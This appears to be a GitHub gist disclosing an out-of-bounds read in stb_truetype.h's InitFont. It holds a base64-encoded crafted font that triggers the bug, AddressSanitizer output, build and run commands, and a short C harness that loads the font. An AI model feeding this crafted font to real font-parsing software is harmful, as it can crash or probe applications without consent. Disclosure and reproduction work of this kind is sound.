d0razi / **gist_04_README.md**

Created 2 weeks ago

Code Revisions 1

stb_truetype.h InitFont OOB Read PoC (CWE-125)

gist_04_poc.b64

```
dHlwMQAHAEAAAgAwaGVhZAAAAAAAAAB8AQAAOm1heHAAAAwAAAAAuAAAAAZjbWFwAAAAAAAAAMDm
//8hbG9jYQAAAAAAADkAAAABmdseWYAAAAAAAAA7K2AAAxoaGVhAAAAEQAAAPgAAAAkaG10eAAe
AAAAAAEcAPEACAABAAAAAFAAXw889QAAUAAAAwPoAAAAAAAAAAAAAAAAAAAPD/AAAAAAAAAAAAAAIJ
AAAAAAAAAAEAAQAAACMAQAAC7TBoZWFkAAAAAAAAAHwAAAA6bWF4cAAAAAAAAAC4AAAABmNtYXAA
AAAAAAAAwAAAACJsb2NhAAAJAAAAAOQAAAAGZ2xwZgA=
```

gist_04_README.md

stb_truetype.h InitFont OOB Read (CWE-125)

Product: stb_truetype.h (nothings/stb) **Version**: <= 1.26

Description

A heap buffer overflow (out-of-bounds read) in `stbtt_InitFont_internal()`. The function `ttUSHORT()` reads 2 bytes from font data without validating the offset is within buffer bounds. Triggered when parsing cmap table entries from a crafted font.

ASAN Output

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000144
READ of size 1 at 0x612000000144
    #0 ttUSHORT                    stb_truetype.h:1286
    #1 stbtt_InitFont_internal     stb_truetype.h:1472
```

```
    #2 stbtt_InitFont              stb_truetype.h:4956
0x612000000144 is located 0 bytes to the right of 260-byte region
```

Reproduction

```
# Decode PoC
base64 -d poc.ttf.b64 > poc.ttf

# Build and run
clang -fsanitize=address -g -O0 repro.c -o repro -lm
./repro poc.ttf
```

gist_04_repro.c

```c
#define STB_TRUETYPE_IMPLEMENTATION
#include "stb_truetype.h"
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
    fseek(f, 0, SEEK_END); int len = ftell(f); fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(len); fread(buf, 1, len, f); fclose(f);
    stbtt_fontinfo font;
    int offset = stbtt_GetFontOffsetForIndex(buf, 0);
    if (offset >= 0) stbtt_InitFont(&font, buf, offset);
    free(buf);
    return 0;
}
// Build: clang -fsanitize=address -g -O0 repro.c -o repro -lm
// Run:   ./repro poc.ttf
```